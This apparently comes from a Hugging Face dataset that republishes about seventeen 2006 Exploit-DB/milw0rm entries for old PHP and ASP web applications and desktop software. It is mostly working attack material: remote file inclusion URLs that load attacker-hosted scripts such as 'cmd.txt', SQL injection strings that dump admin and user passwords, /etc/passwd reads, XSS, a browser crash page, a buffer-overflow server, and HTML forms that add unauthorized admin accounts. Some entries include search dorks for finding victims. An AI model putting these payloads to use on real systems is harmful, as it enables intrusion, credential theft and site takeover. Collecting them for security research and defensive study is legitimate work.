QLWD/code_shield huggingface dataset:
标题: ashNews 0.83 - 'pathtoashnews' Remote File Inclusion EDB-ID: 1864 CVE: 2003-1292 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ashnews v0.83(pathtoashnews) - Remote File Include Vulnerabilities
# Script site: http://dev.ashwebstudio.com/
# dork: News powered by ashnews
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[ashnews_path]/ashheadlines.php?pathtoashnews=[evil_scripts]

http://www.site.com/[ashnews_path]/ashnews.php?pathtoashnews=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1864
标题: Redaxo 3.2 - 'INCLUDE_PATH' Remote File Inclusion EDB-ID: 1861 CVE: 2006-2845 2006-2844 2006-2843 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: Script: Redaxo CMS
Vendor: http://www.redaxo.de
Discovered: beford <xbefordx gmail com>

Redaxo 3.2 - 3.1 - 3.0

./redaxo/include/addons/image_resize/pages/index.inc.php?REX[INCLUDE_PATH]=attacker

Redaxo 3.0

./redaxo3_0_demos_patched/redaxo/include/addons/image_resize/pages/index.inc.php?subpage=relations&REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/simple_user/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/stats/pages/index.inc.php?REX[INCLUDE_PATH]=attacker

Redaxo 2.7.4

./redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
./redaxo/include/pages/community.inc.php?subpage=newsletter&REX[INCLUDE_PATH]=attacker

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1861
标题: Igloo 0.1.9 - 'Wiki.php' Remote File Inclusion EDB-ID: 1863 CVE: 2006-2819 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Igloo 0.1.9 and prior [(text_wiki mod)] - Remote File Include Vulnerabilities
# Script site: http://download.savannah.nongnu.org/releases/igloo/
# dork: Igloo (interest group glue)
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# and greetz str0ke  :-)
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[Igloo_path]/class/Wiki/Wiki.php?c_node[class_path]=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1863
标题: Mozilla Firefox 1.5.0.4 - 'marquee' Denial of Service EDB-ID: 1867 CVE: 2006-2723 类型: DOS 平台: MULTIPLE 发布日期: 2006-06-02 漏洞利用脚本: <html>
<head>
<title>Credit's go to n00b</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>

# milw0rm.com [2006-06-02] URL: https://www.exploit-db.com/exploits/1867
标题: Ottoman CMS 1.1.3 - '?default_path=' Remote File Inclusion (1) EDB-ID: 1854 CVE: 2006-2767 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-31 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ottoman_v1_1_2 - Remote File Include Vulnerabilities
# Script site: http://prdownloads.sourceforge.net/ottoman/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################

http://www.site.com/[Ottomanpath]/error.php?default_path=[evil_scripts]
http://www.site.com/[Ottomanpath]/index.php?default_path=[evil_scripts]
http://www.site.com/[Ottomanpath]/classes/main_class.php?default_path=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-05-31] URL: https://www.exploit-db.com/exploits/1854
标题: gnopaste 0.5.3 - 'common.php' Remote File Inclusion EDB-ID: 1851 CVE: 2006-2834 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-30 漏洞利用脚本: # gnopaste <= 0.5.3 - Remote File Include Vulnerabilities
# Script site: http://sourceforge.net/projects/gnopaste
# made by SmokeZ (smoke.hes@gmail.com)

http://www.site.com/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt?

# milw0rm.com [2006-05-30] URL: https://www.exploit-db.com/exploits/1851
标题: ASPSitem 2.0 - SQL Injection / Database Disclosure EDB-ID: 1845 CVE: 2006-2794 2006-2793 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-28 漏洞利用脚本: ASPSitem <= 2.0 Multiple Vulnerabilities.
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on ASPSitem <= 2.0.
Original advisory can be found at: http://www.nukedx.com/?viewdoc=39
SQL injection ->
GET -> http://[victim]/[ASPSitemDir]/Anket.asp?hid=[SQL]
EXAMPLE -> http://[victim]/[ASPSitemDir]/Anket.asp?hid=4%20union%20select%20sifre,0%20from%20uyeler%20where%20
id%20like%201
with this example remote attacker can leak userid 1's login information from database.
Read others private messages ->
GET/EXAMPLE -> http://[victim]/[ASPSitemDir]/Hesabim.asp?mesaj=oku&id=1&uye=yourusername

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1845
标题: Blend Portal 1.2.0 - 'phpBB Mod' Remote File Inclusion EDB-ID: 1846 CVE: 2006-2736 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: Blend Portal <= 1.2.0 for phpBB 2.x Remote File Inclusion Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on Blend Portal <= 1.2.0 for phpBB 2.x
Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
Succesful exploitation needs register_globals on & allow url_fopen on
GET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt?
# nukedx.com [2006-05-28]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1846
标题: Fastpublish CMS 1.6.9 - config[fsBase] Remote File Inclusion EDB-ID: 1848 CVE: 2006-2726 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-29 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Fastpublish CMS v 1.6.9.d - Remote File Include Vulnerabilities
# Script site: http://www.fastpublish.org
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################

http://www.site.com/[fastpublish_path]/drucken.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/drucken2.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/email_an_benutzer.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/rechnung.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/suche/search.php?config[fsBase]=[evil_scripts]

http://www.site.com/[fastpublish_path]/adminbereich/admin.php?config[fsBase]=[evil_scripts]

#Elo ;-)

# milw0rm.com [2006-05-29] URL: https://www.exploit-db.com/exploits/1848
标题: gxine 0.5.6 - HTTP Plugin Remote Buffer Overflow (PoC) EDB-ID: 1852 CVE: 2006-2802 类型: DOS 平台: LINUX 发布日期: 2006-05-30 漏洞利用脚本: //////////////////////////////////////////////////////
// gxine - HTTP Plugin Remote Buffer Overflow PoC
/////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]netcomm[dot]com[dot]ar
/////////////////////////////////////////////////////

// TESTED on gxine 0.5.6
////////////////////////

// 0xb78eccc7 in free () from /lib/tls/libc.so.6
// (gdb) backtrace
// #0  0xb78eccc7 in free () from /lib/tls/libc.so.6
// #1  0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
// #2  0x41414141 in ?? ()
// #3  0xb7f42164 in ?? () from /usr/lib/libxine.so.1
// #4  0x080b1810 in ?? ()
// #5  0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
// #6  0xb7f3967f in ?? () from /usr/lib/libxine.so.1
// #7  0x0877c084 in ?? ()
// #8  0x0930a931 in ?? ()
// #9  0x080880a2 in defs.3 ()
// #10 0xb0088478 in ?? ()
// #11 0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 81
#define LEN 9500

void shoot(int);

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}



printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
shoot(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

void shoot (int sock) {
int i;
for (i=0 ; i < LEN ; i++) {
write(sock,"\x41",1);
}

}

// milw0rm.com [2006-05-30] URL: https://www.exploit-db.com/exploits/1852
标题: CosmicShoppingCart - 'search.php' SQL Injection EDB-ID: 1847 CVE: 2006-2650 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: Software: CosmicShoppingCart (www.cosmicphp.com)
Risk: Medium
Discovered by: Vympel (Marcelo Almeida)
Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed.

SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.

Examples:
cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/*
cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1847
标题: F@cile Interactive Web 0.8x - Remote File Inclusion / Cross-Site Scripting EDB-ID: 1841 CVE: 2006-2746 2006-2745 2006-2744 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: F@cile Interactive Web <= 0.8x Multiple Remote Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on F@cile Interactive Web <= 0.8x 
Original advisory can be found at: http://www.nukedx.com/?viewdoc=35
File Inclusion Vulnerabilities.
http://[victim]/[FacilePath]/p-popupgallery.php?l=http://yourhost.com/cmd.txt?
http://[victim]/[FacilePath]/p-popupgallery.php?l=/etc/passwd%00
http://[victim]/[FacilePath]/p-editbox.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editbox.php?pathfile=\\192.168.1.1\file.php <- php5
http://[victim]/[FacilePath]/p-editpage.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editpage.php?pathfile=\\192.168.1.1\file.php <- php5
http://[victim]/[FacilePath]/p-themes/lowgraphic/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/classic/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/puzzle/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/simple/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/ciao/index.inc.php?mytheme=/etc/passwd%00
Cross Site Scripting.
http://[victim]/[FacilePath]/p-themes/lowgraphic/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/classic/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/puzzle/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/simple/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/ciao/index.inc.php?mytheme=XSS&myskin=XSS
Information disclosure
http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=/etc/passwd%00

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1841
标题: Nukedit 4.9.6 - Unauthorized Admin Add EDB-ID: 1850 CVE: 2006-2737 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-29 漏洞利用脚本: ################ KAPDA - Security Science Researchers Institute #################
#Advisory : http://www.kapda.ir/advisory-337.html
#Vendor : http://www.nukedit.com/
#What is : Nukedit is a Free Content Management
#Vulnerability : Unauthorized Admin Add Exploit if "register.asp" be enable!
#Discovered : 3nitro - farhadkey {AT} kapda [d0t] ir
#Vulnerabale versions : <= 4.9.6
#Grtz to : Irannetjob.com, Maskofgod.net, Hamid.ir, ihsteam.com, simorhg-ev.com, hat-squad.com
#Solution : update to new version of nukedit .
#Change "http://victim.com/nukedit/utilities/register.asp"
################ KAPDA - Security Science Researchers Institute #################

<html><head><title>Kapda HTML PoC For Nukedit <= 4.9.6</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"></head>
<body>
<font face="Verdana" Size="1"><br>
Kapda HTML PoC For Nukedit <= 4.9.6 (With Security Patch) Unauthorized Admin Add Exploit<br>
Discovered and coded by 3nitro - farhadkey {AT} kapda [dot] ir <br>
Change the form's action in source : "http://victim.com/nukedit/utilities/register.asp"<br>
Fill the blank and submit . After that login with your email ! + your password .<p>
<form name="frmUser" method="post" action="http://victim.com/nukedit/utilities/register.asp">
<input type="hidden" name="action" value="addDB"></p>
<br><br><br>Username :<input type="text" name="username"  size="50" style="float: left; font-family: Verdana; font-size: 7pt">
<input type="hidden" name="company"  size="30" value="MSN">
<input type="hidden" name="Url"  size="30" value="http://www.lol.ir">
<input type="hidden" name="address"  size="30" value="System32">
<input type="hidden" name="county"  size="30" value="00">
<input type="hidden" name="zip"  size="10" value="12345">
<input type="hidden" name="country" value="XPL">
<input type="hidden" name="phone"  size="15" value="12345678">
<input type="hidden" name="fax"  size="15" value="87654321">
<br><br><br>Your E-mail : <input type="text" name="email"  size="30" style="float: left; font-family: Verdana; font-size: 7pt">
<br><br><br>Your Password : <input type="password" name="password"  size="20" style="float: left; font-family: Verdana; font-size: 7pt">
<input type= "hidden" name="groupid" value="1">
<input type="hidden" name="IP" value="10.9.8.7"> 
<br><br><br><input type="submit" value="Create Account" id="submit1" name="submit1"><br>
<!-- Nukedit Exploit Discovered and coded by 3nitro (farhadkey {AT} kapda [D0T] ir) -->
</font>
</form>
</body>
</html>

# milw0rm.com [2006-05-29] URL: https://www.exploit-db.com/exploits/1850
标题: UBBCentral UBB.Threads 5.x/6.x - Multiple Remote File Inclusions EDB-ID: 1843 CVE: 2006-2755 2006-2675 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on UBBThreads 5.x,6.x
Original advisory can be found at: http://www.nukedx.com/?viewdoc=40
Succesful exploitation register_globals on
Version 6.x
GET -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
If php version < 4.1.0 or UBB version <= 5.x
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS:
GET -> http://[site]/[ubbpath]/index.php?debug=[XSS]
EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1843
标题: Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion EDB-ID: 1844 CVE: 2006-2735 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on phpBB 2.x (Activity MOD Plus)
Original advisory can be found at: http://www.nukedx.com/?viewdoc=38

Succesful exploitation needs register_globals on
GET -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00
Requires magic_quotes_gpc off
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt
Requires allow_url_fopen on

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1844
标题: EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation EDB-ID: 1842 CVE: 2006-2725 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: <!--
Eggblog <= 3.x Multiple Remote Vulnerabilities
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=36
Eggblog <= 3.0.6 (rss/posts.php id) Remote SQL injection
Example ->  http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('Username:%20',username),concat('Password:%20',password)/**/from/**/eggblog_members/*
This SQL injection will list you all users and passwords.
-->

<html>
<title>Eggblog 2.x Remote Privilege Escalation</title>
<body bgcolor="#000000">
<style>
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
</style>
<script language="JavaScript">
function egxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  }
  if (confirm("Are you sure?")) {
    xplt.action="http://"+document.xplt.victim.value+"home/register.php";
    xplt.username.value=document.xplt.username.value;
    xplt.email.value=document.xplt.email.value;
    xplt.password.value=document.xplt.password.value;
    xplt.ref=document.xplt.ref.value;
    xplt.submit();
  }
}
</script>
<strong>
<font class="xpl" color="#00FF40">
<pre>
<center>
Welcome to Eggblog 2.x Remote Privilege Escalation
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=36
Dork for this exploit: <u>inurl:"powered by eggblog"</u>
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/eggblog/home/ or www.victim.com/home/
If the site has /eggblog/home in link your target must be www.victim.com/eggblog/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/eggblog/admin/index.php
Have phun
<form name="xplt" method="POST" onsubmit="egxpl();">
Target -> <input type="text" name="victim" value="www.victim.com/Path/" size="44" class="xpl">
<input type="text" name="username" value="Enter Username" class="xpl" size="30">
<input type="text" name="email" value="Enter Email" class="xpl" size="30">
<input type="text" name="password" value="Enter Password" class="xpl" size="30">
<input type="hidden" name="ref" value="T">
<input type="submit" value="Send" class="xpl">
</form>
</pre>
</font>
</strong>
</body>
</html>

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1842
标题: Speedy ASP Forum - 'profileupdate.asp' User Pass Change EDB-ID: 1849 CVE: 2006-2807 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-29 漏洞利用脚本: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><META http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>

<div bgcolor="#000000">
<form name="InputForm" method="post" target="_blank" onsubmit="return window.confirm(&quot;You are submitting information to an external page.\nAre you sure?&quot;);">
<b><font color="#808080" face="Verdana">Speedy Forum User Pass Change //
ajann</font></b><p><font face="Verdana" size="2" color="#FF0000"><b>User 
Name    
:   </b></font>
<input type="text" name="name" value="" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: Surname 
Name</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User 
Mail        
:  </b></font>
<input type="text" name="email" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial">   Example:
<a href="mailto:mail@domain.com" target="_blank">mail@domain.com</a></font><br>

<font face="Verdana" size="2" color="#FF0000"><b>User 
Ýd            
:  </b></font>
<input type="text" name="id" value="" size="20">
<font size="1" color="#C0C0C0" face="Arial">  Example: Ýd:1 
Admin</font><br>
<font face="Verdana" size="2" color="#FF0000"><b>User Country  :  
</b>
</font>
<select size="1" name="country">
<option value="0">Choose Country</option>
<option value="Turkey">Turkey</option>
</select> <font size="1" color="#C0C0C0" face="Arial"> Example: 
Turkey</font><br>

<b>

<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">Pass </font>
<font face="Verdana" size="2" color="#FF0000">      
:  </font></b>

<input type="text" name="password" value="Password" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>
<b>
<font face="Verdana" size="2" color="#FF0000">User </font>
<font face="Verdana" size="2" color="#0000FF">RePass</font><font face="Verdana" size="2" color="#FF0000">  
:  </font></b>

<input type="text" name="passwordre" value="Re Password" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>Form Action    : 
</b>
</font>

<input type="text" name="adres" value="profileupdate.asp" size="20"> 
<font size="1" color="#C0C0C0" face="Arial"> Example: 
http://[target]/[path]/profileu<WBR>pdate.asp</font></p>

<p>

<input type="submit" name="Submit" value="Change"> </p>

<br>

 </form>

</div></body></html>

# milw0rm.com [2006-05-29] URL: https://www.exploit-db.com/exploits/1849